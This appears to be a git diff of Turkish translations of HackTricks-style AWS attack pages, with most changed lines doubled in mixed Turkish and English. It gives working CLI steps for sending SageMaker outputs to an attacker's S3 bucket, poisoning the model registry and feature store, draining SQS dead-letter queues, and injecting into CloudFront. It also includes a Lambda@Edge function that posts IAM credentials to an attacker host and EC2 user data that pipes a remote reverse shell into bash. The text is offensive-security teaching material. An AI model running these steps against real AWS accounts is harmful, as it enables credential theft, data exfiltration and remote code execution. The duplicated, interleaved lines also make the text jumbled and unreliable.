BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) EndpointConfig'i klonlayın ve AsyncInference çıktılarının saldırgan bucket'a yönlendirilmesini sağlayın
3) EndpointConfig'i klonlayın ve AsyncInference çıktılarını saldırgan bucket'ına yönlendirin
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -107,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Asenkron bir çağrı tetikleyin ve nesnelerin saldırganın S3'üne düştüğünü doğrulayın
4) Bir async invocation tetikleyin ve nesnelerin attacker S3'e düştüğünü doğrulayın
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -115,27 +116,27 @@ sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Etki
- Asenkron inference sonuçlarını (ve hata gövdelerini) saldırgan kontrollü S3'e yönlendirir; bu, model kodunu veya image'ı değiştirmeden ve minimum/hiç kesinti olmadan container tarafından üretilen tahminlerin ve potansiyel olarak hassas ön/son işlenmiş girdilerin gizli olarak sızdırılmasını sağlar.
### Impact
- Asenkron inference sonuçlarını (ve hata gövdelerini) saldırgan kontrollü S3'e yönlendirir; model kodu veya image'ı değiştirmeden ve minimum/yok denecek kadar az kesintiyle konteyner tarafından üretilen tahminlerin ve potansiyel olarak hassas ön/son işlem görmüş girdilerin gizli olarak sızdırılmasına olanak tanır.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Eğer bir saldırgan hedef bir SageMaker Model Package Group üzerinde CreateModelPackage yapabilirse, saldırgan kontrollü bir container image'a işaret eden yeni bir model sürümü kaydedip hemen Approved olarak işaretleyebilir. Birçok CI/CD pipeline'ı Approved model sürümlerini endpoint'lere veya training job'larına otomatik deploy eder; bu da servisin execution role'ları altında saldırgan kodu çalıştırılmasına yol açar. Hesaplar arası açık, izin verici bir ModelPackageGroup resource policy ile daha da büyütülebilir.
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the services execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
### Gereksinimler
- IAM (mevcut bir grubu zehirlemek için asgari izin): `sagemaker:CreateModelPackage` hedef ModelPackageGroup üzerinde
- İsteğe bağlı (bir grup yoksa oluşturmak için): `sagemaker:CreateModelPackageGroup`
- S3: Referans verilen ModelDataUrl için okuma erişimi (veya saldırgan kontrollü artefaktları barındırma)
- Hedef: Alt akış otomasyonunun Approved sürümleri izlediği bir Model Package Group
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` hedef ModelPackageGroup üzerinde
- Opsiyonel (grup yoksa oluşturmak için): `sagemaker:CreateModelPackageGroup`
- S3: Referans verilen ModelDataUrl'e okuma erişimi (veya saldırgan kontrollü artefaktları barındırmak)
- Hedef: downstream automation'ın Approved sürümleri izlediği bir Model Package Group
### Adımlar
1) Bölgeyi ayarla ve hedef bir Model Package Group oluşturun/bulun
1) Bölgeyi ayarla ve hedef bir Model Package Group oluştur/bul
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) S3'te örnek model verisi hazırlayın
2) S3'te örnek model verisi hazırla
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -143,7 +144,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Kötü amaçlı (burada zararsız) bir Onaylı model paket sürümünü, public bir AWS DLC image'ını referans göstererek kaydetme
3) Kamuya açık bir AWS DLC image'ını referans alan kötü amaçlı (burada zararsız) Approved model package version kaydı oluşturma
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -160,17 +161,17 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) Yeni Approved sürümün mevcut olduğunu doğrulayın
4) Yeni 'Approved' sürümün mevcut olduğunu doğrulayın
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Impact
- Model Registry'i, saldırgan-kontrolündeki koda referans veren Approved bir sürümle zehirleyin. Auto-deploy yapan Pipelines, Approved modelleri çekip saldırgan image'ını çalıştırabilir; bu, endpoint/training rolleri altında kod çalıştırılmasına yol açar.
- İzin veren bir ModelPackageGroup resource policy'si (PutModelPackageGroupPolicy) ile bu kötüye kullanım cross-account tetiklenebilir.
### Etki
- Model Registry'yi, saldırganın kontrolündeki koda referans veren bir Approved sürüm ile zehirleyin. Approved modelleri otomatik dağıtan pipelines, saldırgan imajını çekip çalıştırabilir; bu da endpoint/training roles altında kod yürütülmesine yol açar.
- Geniş izinli bir ModelPackageGroup resource policy (PutModelPackageGroupPolicy) ile bu kötüye kullanım hesaplar arası tetiklenebilir.
## Feature store poisoning
OnlineStore etkin bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanarak online inference tarafından tüketilen canlı feature değerlerini üzerine yazın. `sagemaker:GetRecord` ile birleştiğinde, saldırgan hassas feature'ları okuyabilir. Bunun için modellerin veya endpoint'lerin erişimine gerek yoktur.
Bir Feature Group üzerinde OnlineStore etkinken `sagemaker:PutRecord`'ı istismar ederek online inference tarafından tüketilen canlı feature değerlerini üzerine yazın. `sagemaker:GetRecord` ile birleştirildiğinde saldırgan hassas özellikleri okuyabilir. Bu, modellere veya endpoint'lere erişim gerektirmez.
{{#ref}}
feature-store-poisoning.md
@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
OnlineStore etkin bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanarak, online inference tarafından tüketilen canlı feature değerlerini üzerine yazabilirsiniz. `sagemaker:GetRecord` ile birleştirildiğinde, bir saldırgan hassas feature'ları okuyabilir. Bu, modellere veya endpoint'lere erişim gerektirmez.
Online inference tarafından tüketilen canlı feature değerlerini üzerine yazmak için OnlineStore etkin olan bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanın. `sagemaker:GetRecord` ile birleştiğinde, bir saldırgan hassas özellikleri okuyabilir. Bu, modellere veya endpoint'lere erişim gerektirmez.
## Gereksinimler
- İzinler: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Hedef: OnlineStore etkin bir Feature Group (genellikle gerçek zamanlı inference'i destekler)
- Karmaşıklık: **LOW** - Basit AWS CLI komutları, model manipülasyonu gerekmez
## Requirements
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Target: Feature Group with OnlineStore enabled (typically backing real-time inference)
- Complexity: **DÜŞÜK** - Basit AWS CLI komutları, model manipulasyonu gerektirmez
## Adımlar
## Steps
### Keşif
1) OnlineStore etkin olan Feature Group'ları listele
1) OnlineStore etkin olan Feature Group'ları listeleyin
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
@@ -21,7 +21,7 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) Hedef Feature Group'un şemasını anlamak için tanımlayın
2) Şemasını anlamak için hedef Feature Group'u tanımlayın
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
@@ -39,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Inline `--record` parametresi kullanarak kaydı kötü amaçlı değerlerle zehirleyin
2) inline `--record` parametresi kullanarak kaydı kötü amaçlı değerlerle zehirle
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -63,7 +63,7 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Etkisi**: Bu özelliği kullanan ML modelleri artık meşru bir kullanıcı için `risk_score=0.99` görecek, bu da işlemlerini veya hizmetlerini potansiyel olarak engelleyebilir.
**Etkisi**: Bu özelliği kullanan ML modelleri artık meşru bir kullanıcı için `risk_score=0.99` görecek; bu da işlemlerini veya hizmetlerini engelleyebilir.
### Saldırı Senaryosu 2: Malicious Data Injection (Create Fraudulent Records)
@@ -84,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
injection'i doğrulayın:
Injection'i doğrulayın:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Impact**: Saldırgan, düşük risk skoruna (0.01) sahip sahte bir kimlik oluşturarak dolandırıcılık tespitini tetiklemeden yüksek değerde dolandırıcılık işlemleri gerçekleştirebilir.
**Etkisi**: Saldırgan, dolandırıcılık tespitini tetiklemeden yüksek değerli dolandırıcılık işlemleri gerçekleştirebilen düşük risk puanı (0.01) olan sahte bir kimlik oluşturur.
### Saldırı Senaryosu 3: Hassas Veri Sızdırma
Gizli özellikleri çıkarmak ve model davranışını profillemek için birden fazla kaydı oku:
Gizli özellikleri çıkarmak ve model davranışını profillemek için birden fazla kaydı okuyun:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -106,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Etkisi**: Gizli özellikler (risk skorları, işlem desenleri, kişisel veriler) saldırgan tarafından açığa çıkarılabilir.
**Impact**: Gizli özellikler (risk skorları, işlem kalıpları, kişisel veriler) saldırganın erişimine açılabilir.
### Test/Demo Feature Group Oluşturma (İsteğe Bağlı)
### Testing/Demo Feature Group Creation (Optional)
Bir test Feature Group oluşturmanız gerekiyorsa:
```bash
@@ -143,6 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
## Referanslar
## Kaynaklar
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
@@ -2,52 +2,52 @@
{{#include ../../../banners/hacktricks-training.md}}
## Açıklama
## Description
SQS message move tasks'ı kötüye kullanarak, kurbanın Dead-Letter Queue (DLQ)'unda biriken tüm mesajları `sqs:StartMessageMoveTask` ile saldırgan kontrollü bir kuyruğa yönlendirip çalın. Bu teknik, AWS'in meşru message recovery özelliğini kullanarak DLQ'larda zaman içinde biriken hassas verileri exfiltrate etmeye yarar.
SQS message move task'larını kötüye kullanarak bir kurbanın Dead-Letter Queue (DLQ)'sinde birikmiş tüm mesajları `sqs:StartMessageMoveTask` ile saldırganın kontrolündeki bir kuyruğa yönlendirip çalın. Bu teknik, AWS'in meşru mesaj kurtarma özelliğini kullanarak DLQ'lerde zamanla biriken hassas verileri exfiltrate etmek için sömürüyor.
## Dead-Letter Queue (DLQ) nedir?
## What is a Dead-Letter Queue (DLQ)?
Dead-Letter Queue, ana uygulama tarafından başarılı bir şekilde işlenemeyen mesajların otomatik olarak gönderildiği özel bir SQS kuyruğudur. Bu başarısız mesajlar genellikle şunları içerir:
Dead-Letter Queue (DLQ), ana uygulama tarafından başarıyla işlenemeyen mesajların otomatik olarak gönderildiği özel bir SQS kuyruğudur. Bu başarısız mesajlar genellikle şunları içerir:
- İşlenemeyen hassas uygulama verileri
- Hata detayları ve debug bilgileri
- Hata detayları ve debugging bilgileri
- Personal Identifiable Information (PII)
- API tokenları, kimlik bilgileri veya diğer gizli veriler
- API tokens, credentials veya diğer sırlar
- İş açısından kritik işlem verileri
DLQ'lar başarısız mesajlar için bir "mezarlık" görevi görür; uygulamaların doğru şekilde işleyemediği hassas verilerin zaman içinde birikmesi nedeniyle değerli hedeflerdir.
DLQ'ler başarısız mesajlar için bir "mezarlık" görevi görür; uygulamaların düzgün işleyemediği hassas veriler zaman içinde burada biriktiği için değerli hedefler oluştururlar.
## Saldırı Senaryosu
## Attack Scenario
**Gerçek dünya örneği:**
1. **E-commerce uygulaması** müşteri siparişlerini SQS üzerinden işler
2. **Bazı siparişler başarısız olur** (ödeme sorunları, stok problemleri vb.) ve bir DLQ'ya taşınır
**Real-world example:**
1. **E-commerce application** müşteri siparişlerini SQS üzerinden işler
2. **Bazı siparişler başarısız olur** (ödeme sorunları, envanter problemleri vb.) ve bir DLQ'ye taşınır
3. **DLQ haftalar/aylar boyunca** müşteri verileri içeren başarısız siparişlerle dolar: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Saldırgan AWS kimlik bilgilerini ele geçirir** ve SQS izinlerine sahiptir
5. **Saldırgan DLQ'nun** binlerce hassas kayıt içerdiğini keşfeder
6. **Tek tek mesajlara erişmeye çalışmak yerine** (yavaş ve belirgin), saldırgan `StartMessageMoveTask` kullanarak TÜM mesajları kendi kuyruğuna topluca aktarır
7. **Saldırgan tek bir operasyonla** geçmişte birikmiş tüm hassas verileri çıkarır
4. **Saldırgan AWS kimlik bilgilerine erişir** ve SQS izinlerine sahip olur
5. **Saldırgan DLQ'nin** binlerce hassas veri içeren başarısız sipariş barındırdığını keşfeder
6. **Bireysel mesajlara erişmeye çalışmak yerine** (yavaş ve bariz), saldırgan tüm mesajları toplu olarak kendi kuyruğuna aktarmak için `StartMessageMoveTask` kullanır
7. **Saldırgan tek seferde** tüm geçmiş hassas verileri çıkarır
## Gereksinimler
- Kaynak kuyruk en az bir queue RedrivePolicy tarafından referans gösterilen bir DLQ olarak yapılandırılmış olmalı.
- IAM izinleri (ele geçirilmiş kurban principal'i ile çalıştırılacak):
- Kaynak (DLQ) üzerinde: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Hedef kuyruk üzerinde: mesaj gönderme izni (ör. kurban principal'inden `sqs:SendMessage` izni veren queue policy). Aynı hesap içindeki hedefler için bu genellikle varsayılan olarak izinlidir.
- SSE-KMS etkinse: kaynak CMK üzerinde `kms:Decrypt`, hedef CMK üzerinde `kms:GenerateDataKey`, `kms:Encrypt`.
## Requirements
- Kaynak kuyruk bir DLQ olarak yapılandırılmış olmalıdır (en az bir kuyruk tarafından RedrivePolicy ile referans verilmeli).
- IAM izinleri (ele geçirilmiş kurban principal olarak çalıştırılan):
- DLQ (kaynak) üzerinde: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Hedef kuyruk üzerinde: mesaj teslim etme izni (ör. kurban principal'e `sqs:SendMessage` izin veren bir queue policy). Aynı hesap içindeki hedefler için bu genellikle varsayılan olarak izinlidir.
- Eğer SSE-KMS etkinse: kaynak CMK üzerinde `kms:Decrypt`, hedef CMK üzerinde `kms:GenerateDataKey`, `kms:Encrypt`.
## Etkisi
Exfiltrate edilmesi gereken DLQ'larda birikmiş hassas yükleri (başarısız event'ler, PII, tokenlar, uygulama payload'ları) yerel SQS API'leri kullanarak yüksek hızda çıkarma. Hedef kuyruk policy'si kurban principal'inden `SendMessage` iznine izin veriyorsa cross-account olarak da çalışır.
## Impact
DLQ'lerde birikmiş hassas yükleri (başarısız event'ler, PII, token'lar, uygulama payload'ları) yerel SQS API'leri kullanarak yüksek hızda exfiltrate edebilirsiniz. Hedef kuyruk politikası kurban principal için `SendMessage` izni veriyorsa çapraz hesaplarda da çalışır.
## Nasıl Kötüye Kullanılır
## How to Abuse
- Kurban DLQ ARN'sini tespit edin ve gerçekten bir DLQ olarak bir kuyruk tarafından referans gösterildiğinden emin olun (herhangi bir kuyruk yeterlidir).
- Saldırgan kontrollü bir hedef kuyruk oluşturun veya seçin ve ARN'sini alın.
- Kurban DLQ'dan hedef kuyruğunuza bir message move task başlatın.
- Kurban DLQ ARN'sini tespit edin ve gerçekten bir DLQ olarak referans verildiğinden emin olun (herhangi bir kuyruğun RedrivePolicy'sinde referans olması yeterlidir).
- Saldırgan kontrolündeki bir hedef kuyruk oluşturun veya seçin ve ARN'sini alın.
- Kurban DLQ'sinden hedef kuyruğunuza bir message move task başlatın.
- İlerlemeyi izleyin veya gerekirse iptal edin.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.
**Scenario**: Bir saldırgan AWS kimlik bilgilerini ele geçirmiş ve bir e-commerce uygulamasının SQS ile DLQ kullandığını, DLQ'de başarısız müşteri sipariş işlemlerinin bulunduğunu keşfetmiş.
1) **Discover and examine the victim DLQ**
```bash
@@ -86,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Çalınmış hassas verileri topla**
4) **Çalınan hassas verileri toplayın**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -116,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Hesaplar arası notlar
- Hedef kuyruğun, mağdur principal'in `sqs:SendMessage` yapmasına izin veren bir resource policy'ye sahip olması gerekir (ve kullanılıyorsa, KMS grants/permissions).
- Hedef kuyruk, hedef principal'ın `sqs:SendMessage` yapmasına izin veren bir kaynak politikasına sahip olmalıdır (ve kullanılıyorsa KMS grant/izinleri).
## Neden Bu Saldırı Etkili
1. **Meşru AWS Özelliği**: Yerleşik AWS işlevselliğini kullanır; bu da kötü amaçlı olarak algılanmasını zorlaştırır
2. **Toplu İşlem**: Binlerce mesajı yavaş tek tek erişim yerine hızla aktarır
1. **Meşru AWS Özelliği**: Yerleşik AWS işlevselliğini kullanır; bu da kötü amaçlı olarak tespit edilmesini zorlaştırır
2. **Toplu İşlem**: Binlerce mesajı tek tek yavaş erişim yerine hızlıca aktarır
3. **Tarihsel Veri**: DLQs haftalar/aylar boyunca hassas verileri biriktirir
4. **Radarın Dışında**: Birçok kuruluş DLQ erişimini yakından izlemez
5. **Hesaplar Arası Mümkün**: İzinler varsa saldırgan kendi AWS hesabına exfiltrate yapabilir
4. **Gözden Kaçabilir**: Birçok kuruluş DLQ erişimini yakından izlemez
5. **Hesaplar Arası Yeteneği**: İzinler varsa saldırganın kendi AWS hesabına exfiltrate edebilir
## Tespit ve Önleme
### Tespit
Şüpheli `StartMessageMoveTask` API çağrılarını CloudTrail üzerinde izleyin:
Şüpheli `StartMessageMoveTask` API çağrıları için CloudTrail'i izleyin:
```json
{
"eventName": "StartMessageMoveTask",
@@ -144,11 +144,11 @@ done
}
}
```
### Önlemler
1. **En Az Yetki (Least Privilege)**: `sqs:StartMessageMoveTask` izinlerini yalnızca gerekli rollere sınırlayın
2. **DLQ'ları İzleyin**: Olağandışı DLQ etkinliği için CloudWatch alarmları kurun
3. **Hesaplar Arası Politikalar**: Cross-account erişime izin veren SQS kuyruk politikalarını dikkatle inceleyin
4. **DLQ'ları Şifreleyin**: Kısıtlı anahtar politikalarıyla SSE-KMS kullanın
5. **Düzenli Temizlik**: Hassas verilerin DLQ'larda süresiz birikmesine izin vermeyin
### Önleme
1. **Least Privilege**: `sqs:StartMessageMoveTask` izinlerini yalnızca gerekli rollere sınırlayın
2. **Monitor DLQs**: Olağandışı DLQ etkinliği için CloudWatch alarmları oluşturun
3. **Cross-Account Policies**: Hesaplar arası erişime izin veren SQS queue politikalarını dikkatle gözden geçirin
4. **Encrypt DLQs**: Sınırlı anahtar politikalarıyla SSE-KMS kullanın
5. **Regular Cleanup**: Hassas verilerin DLQ'larda süresiz birikmesine izin vermeyin
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,13 +6,13 @@
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
cloudfront:UpdateDistribution ve cloudfront:GetDistributionConfig izinlerine sahip bir saldırgan, bir CloudFront dağıtımının yapılandırmasını değiştirebilir. Hedef S3 bucket üzerinde ayrı izinlere ihtiyaç duymazlar; ancak bu bucket, cloudfront.amazonaws.com service principal'ından erişime izin veren gevşek bir politikaya sahipse saldırı daha kolay olur.
`cloudfront:UpdateDistribution` ve `cloudfront:GetDistributionConfig` izinlerine sahip bir saldırgan, bir CloudFront dağıtımının yapılandırmasını değiştirebilir. Hedef S3 bucket'ı üzerinde doğrudan izinlere ihtiyaçları yoktur; ancak o bucket, cloudfront.amazonaws.com service principal'dan erişime izin veren gevşek bir politikaya sahipse saldırı daha kolay olur.
Saldırgan, bir dağıtımın origin yapılandırmasını başka bir S3 bucket'a veya saldırganın kontrolündeki bir sunucuya işaret edecek şekilde değiştirir. Önce mevcut dağıtım yapılandırmasını getirirler:
Saldırgan, bir dağıtımın origin yapılandırmasını başka bir S3 bucket'ına ya da saldırganın kontrolündeki bir sunucuya işaret edecek şekilde değiştirir. İlk olarak mevcut dağıtım yapılandırmasını çekerler:
```bash
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
```
Ardından origin'i yeni kaynağa yönlendirmek için current-config.json dosyasını düzenlerler — örneğin farklı bir S3 bucket:
Sonra current-config.json dosyasını düzenleyip origin'i yeni kaynağa yönlendirirler — örneğin farklı bir S3 bucket:
```bash
...
"Origins": {
@@ -40,7 +40,7 @@ Ardından origin'i yeni kaynağa yönlendirmek için current-config.json dosyas
},
...
```
Son olarak, değiştirilmiş yapılandırmayı uygulayın (güncelleme yaparken mevcut ETag'i sağlamalısınız):
Son olarak, değiştirilen yapılandırmayı uygulayın (güncellerken mevcut ETag'i sağlamalısınız):
```bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
@@ -59,7 +59,7 @@ The attacker creates a malicious CloudFront Function that injects JavaScript int
function handler(event) {
var request = event.request;
var response = event.response;
// Create a new body with malicious JavaScript
// Kötü amaçlı JavaScript içeren yeni bir body oluştur
var maliciousBody = `
<!DOCTYPE html>
<html>
@@ -70,15 +70,15 @@ var maliciousBody = `
<h1>Original Content</h1>
<p>This page has been modified by CloudFront Functions</p>
<script>
// Malicious JavaScript
// Kötü amaçlı JavaScript
alert('CloudFront Function Code Injection Successful!');
</script>
</body>
</html>
`;
// Replace the body entirely
// Body'yi tamamen değiştir
response.body = { encoding: "text", data: maliciousBody };
// Update headers
// Başlıkları güncelle
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
response.headers["content-length"] = {
value: maliciousBody.length.toString(),
@@ -91,16 +91,16 @@ return response;
Commands to create, publish and attach the function:
```bash
# Create the malicious function in CloudFront
# CloudFront'ta kötü amaçlı fonksiyonu oluşturun
aws cloudfront create-function --name malicious-function --function-config '{
"Comment": "Malicious CloudFront Function for Code Injection",
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js
# Get the ETag of the function in DEVELOPMENT stage
# DEVELOPMENT aşamasındaki fonksiyonun ETag'ini alın
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
# Publish the function to LIVE stage
# Fonksiyonu LIVE aşamasına yayınlayın
aws cloudfront publish-function --name malicious-function --if-match <etag>
```
@@ -135,37 +135,37 @@ The attacker creates a malicious Lambda@Edge function that steals the IAM role c
```bash
// malicious-lambda-edge.js
exports.handler = async (event) => {
// Obtain role credentials
const credentials = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN,
};
// Send credentials to attacker's server
try {
await fetch("https://<attacker-ip>/steal-credentials", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(credentials)
});
} catch (error) {
console.error("Error sending credentials:", error);
}
if (event.Records && event.Records[0] && event.Records[0].cf) {
// Modify response headers
const response = event.Records[0].cf.response;
response.headers["x-credential-theft"] = [
{
key: "X-Credential-Theft",
value: "Successful",
},
];
return response;
}
return {
statusCode: 200,
body: JSON.stringify({ message: "Credentials stolen" })
};
// Obtain role credentials
const credentials = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN,
};
// Send credentials to attacker's server
try {
await fetch("https://<attacker-ip>/steal-credentials", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(credentials)
});
} catch (error) {
console.error("Error sending credentials:", error);
}
if (event.Records && event.Records[0] && event.Records[0].cf) {
// Modify response headers
const response = event.Records[0].cf.response;
response.headers["x-credential-theft"] = [
{
key: "X-Credential-Theft",
value: "Successful",
},
];
return response;
}
return {
statusCode: 200,
body: JSON.stringify({ message: "Credentials stolen" })
};
};
```
@@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference
```
```bash
# Güncellenmiş dağıtım yapılandırmasını uygulayın (mevcut ETag kullanılmalı)
# Güncellenmiş distribution yapılandırmasını uygula (mevcut ETag kullanılmalı)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
aws cloudfront update-distribution \
@@ -4,7 +4,7 @@
## EC2
Daha fazla **EC2 hakkında bilgi** için bakınız:
EC2 hakkında daha fazla **bilgi** için bakın:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,19 +12,19 @@ Daha fazla **EC2 hakkında bilgi** için bakınız:
### `iam:PassRole`, `ec2:RunInstances`
Bir saldırgan **IAM role iliştirerek bir instance oluşturabilir ve sonra instance'a erişerek** IAM role kimlik bilgilerini metadata endpoint'ten çalabilir.
Bir saldırgan, bir IAM role iliştirerek bir instance oluşturabilir ve ardından instance'a erişip metadata endpoint'ten IAM role kimlik bilgilerini çalabilir.
- **SSH ile erişim**
Yeni bir instance'ı **oluşturulmuş** bir **ssh key** (`--key-name`) kullanarak çalıştırın ve sonra ona ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
Yeni bir instance'ı **oluşturulmuş** **ssh key** (`--key-name`) kullanarak çalıştırın ve sonra ona ssh ile bağlanın (yeni bir tane oluşturmak isterseniz `ec2:CreateKeyPair` iznine ihtiyacınız olabilir).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
```
- **user data içinde rev shell ile erişim**
- **user data içindeki rev shell ile erişim**
Bir **user data** (`--user-data`) kullanarak size bir **rev shell** gönderecek yeni bir instance çalıştırabilirsiniz. Bu şekilde security group belirtmenize gerek yok.
Yeni bir instance'ı, size bir **rev shell** gönderecek bir **user data** (`--user-data`) kullanarak başlatabilirsiniz. Bu şekilde security group belirtmenize gerek yoktur.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
IAM role kimlik bilgilerini instance dışında kullanıyorsanız GuradDuty konusunda dikkatli olun:
IAM rolünün kimlik bilgilerini instance dışında kullanırsanız, GuradDuty konusunda dikkatli olun:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Potansiyel Etki:** Mevcut instance profiles'a bağlı herhangi bir EC2 role doğrudan privesc.
**Potential Impact:** Mevcut instance profiles'a bağlı herhangi bir EC2 role doğrudan privesc.
#### Privesc to ECS
Bu izin setiyle ayrıca **bir EC2 instance oluşturup bunu bir ECS cluster içinde kaydedebilirsiniz**. Bu sayede, erişiminizin olduğu **EC2 instance** içinde ECS **services** **run** edilecek; ardından bu servisleri (docker containers) ele geçirip **steal their ECS roles attached**.
Bu izin seti ile ayrıca **bir EC2 instance oluşturup bunu bir ECS cluster içine kaydedebilirsiniz**. Bu şekilde, erişiminiz olan **EC2 instance** içinde ECS **servisleri** **çalıştırılacak** ve sonra bu hizmetlere (docker containers) sızarak **onlara bağlı ECS rolleri çalabilirsiniz**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Yeni EC2 instance'da ECS servislerini çalıştırmaya zorlamayı öğrenmek için bakın:
To learn how to **force ECS services to be run** in this new EC2 instance check:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
Eğer yeni bir instance oluşturamıyorsanız ama `ecs:RegisterContainerInstance` iznine sahipseniz, instance'ı cluster içine kaydederek bahsedilen saldırıyı gerçekleştirebilirsiniz.
If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
**Olası Etki:** Tasks'e bağlı ECS rollere doğrudan privesc.
**Potential Impact:** Direct privesc to ECS roles attached to tasks.
